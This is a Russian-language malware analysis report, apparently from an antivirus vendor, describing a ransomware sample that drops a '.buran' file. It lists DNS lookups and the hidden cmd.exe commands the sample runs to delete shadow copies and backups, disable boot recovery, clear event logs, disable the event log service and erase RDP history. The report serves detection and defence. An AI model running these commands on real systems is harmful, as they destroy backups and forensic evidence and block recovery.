Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
удаляет теневые копии разделов.
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\a71c8b72.buran
Удаляет следующие файлы
- %TEMP%\a71c8b72.buran
Сетевая активность
UDP
- DNS ASK ge###tool.com
- DNS ASK ip##gger.ru
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C wevtutil.exe clear-log Security' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C wevtutil.exe clear-log Application' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C del "%userprofile%\documents\Default.rdp"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C attrib "%userprofile%\documents\Default.rdp" -s -h' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C wevtutil.exe clear-log System' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C wmic shadowcopy delete' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C wbadmin delete backup' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C wbadmin delete systemstatebackup -keepversions:0' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C wbadmin delete systemstatebackup' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C wbadmin delete catalog -quiet' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C bcdedit /set {default} recoveryenabled no' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /all /quiet' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C sc config eventlog start=disabled' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\cmd.exe' /C wevtutil.exe clear-log System
- '<SYSTEM32>\cmd.exe' /C wevtutil.exe clear-log Security
- '<SYSTEM32>\cmd.exe' /C wevtutil.exe clear-log Application
- '<SYSTEM32>\cmd.exe' /C del "%userprofile%\documents\Default.rdp"
- '<SYSTEM32>\attrib.exe' "%HOMEPATH%\documents\Default.rdp" -s -h
- '<SYSTEM32>\cmd.exe' /C attrib "%userprofile%\documents\Default.rdp" -s -h
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
- '<SYSTEM32>\cmd.exe' /C reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
- '<SYSTEM32>\cmd.exe' /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
- '<SYSTEM32>\cmd.exe' /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
- '<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /all /quiet
- '<SYSTEM32>\cmd.exe' /C wmic shadowcopy delete
- '<SYSTEM32>\cmd.exe' /C wbadmin delete backup
- '<SYSTEM32>\cmd.exe' /C wbadmin delete systemstatebackup -keepversions:0
- '<SYSTEM32>\cmd.exe' /C wbadmin delete systemstatebackup
- '<SYSTEM32>\cmd.exe' /C wbadmin delete catalog -quiet
- '<SYSTEM32>\cmd.exe' /C bcdedit /set {default} recoveryenabled no
- '<SYSTEM32>\cmd.exe' /C sc config eventlog start=disabled
- '<SYSTEM32>\sc.exe' config eventlog start=disabled
